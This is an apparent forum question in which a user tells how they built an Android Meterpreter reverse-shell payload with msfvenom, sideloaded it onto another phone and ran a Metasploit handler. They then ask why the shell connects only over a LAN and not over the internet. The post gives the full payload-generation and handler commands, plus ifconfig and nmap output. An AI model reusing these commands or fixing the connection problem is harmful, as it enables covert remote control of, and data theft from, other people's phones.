First of all, this is my first post, so please don't ignore this. You may have seen this question before. Before marking this as duplicate please understand my problems. I have many issues. I'm using this for an educational purpose.
please note the following:
- I don't have a router.
- I have installed Kali 2.0(sana).
- I use my Android mobile to connect to INTERNET via USB tethering.
Now, I will explain what have done.
first of all I created an Android payload
msfvenom -p android/meterpreter/reverse_tcp LHOST=xxx.xxx.net LPORT=4444 -o test1.apk
xxx.xxx.net is my no-ip registered dns(hidden with x); then I successfully signed it.
Now, I sent it to another Android device via Bluetooth (so my device's IP address didn't change in the process. It is not connected to the LAN either) then I successfully installed it.
# ifconfig eth0 Link encap:Ethernet HWaddr 78:24:af:bc:a8:a2 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:1072 errors:0 dropped:0 overruns:0 frame:0 TX packets:1072 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:87360 (85.3 KiB) TX bytes:87360 (85.3 KiB) usb0 Link encap:Ethernet HWaddr 42:c8:eb:7b:43:a9 inet addr:192.168.42.50 Bcast:192.168.42.255 Mask:255.255.255.0 inet6 addr: fe80::40c8:ebff:fe7b:43a9/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:20535 errors:21 dropped:0 overruns:0 frame:21 TX packets:23085 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:11073420 (10.5 MiB) TX bytes:3833297 (3.6 MiB)
then I opened the terminal.
# msfconsole _____________ msf > use exploit/multi/handler msf exploit(handler) set payload android/meterpreter/reverse_tcp payload => android/meterpreter/reverse_tcp msf exploit(handler) set lhost 192.168.42.50 lhost => 192.168.42.50 msf exploit(handler) set lport 4444 lport => 4444 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.42.50:4444 [*] Starting the payload handler...
Once I opened the app in the target mobile nothing is received in the metasploit terminal.
However the same works fine over LAN. but when it comes to Internet it fails. I have tried almost all I can do, but in vain.
I found that the ports are opened in the local IP address.
# nmap 192.168.42.50 Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-03-27 22:53 IST Nmap scan report for kali (192.168.42.50) Host is up (0.0000070s latency). Not shown: 999 closed ports PORT STATE SERVICE 4444/tcp open krb524 Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds
but they are closed in the no-ip registered DNS.
# nmap xxx.xxx.net Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-03-27 22:55 IST Nmap scan report for xxx.xxx.net (a.b.c.d) Host is up (0.22s latency). rDNS record for a.b.c.d: static-a-b-c-d.ctrls.in Not shown: 990 closed ports PORT STATE SERVICE 21/tcp filtered ftp 53/tcp filtered domain 80/tcp open http 111/tcp open rpcbind 443/tcp open https 445/tcp filtered microsoft-ds 554/tcp filtered rtsp 1723/tcp filtered pptp 3306/tcp open mysql 8022/tcp open oa-system Nmap done: 1 IP address (1 host up) scanned in 144.05 seconds
note: a.b.c.d is the resolved IP address of my DNS
So how exactly can I establish a successful connection?
If you think anyway this question is off-topic or something else please suggest me a solution somehow.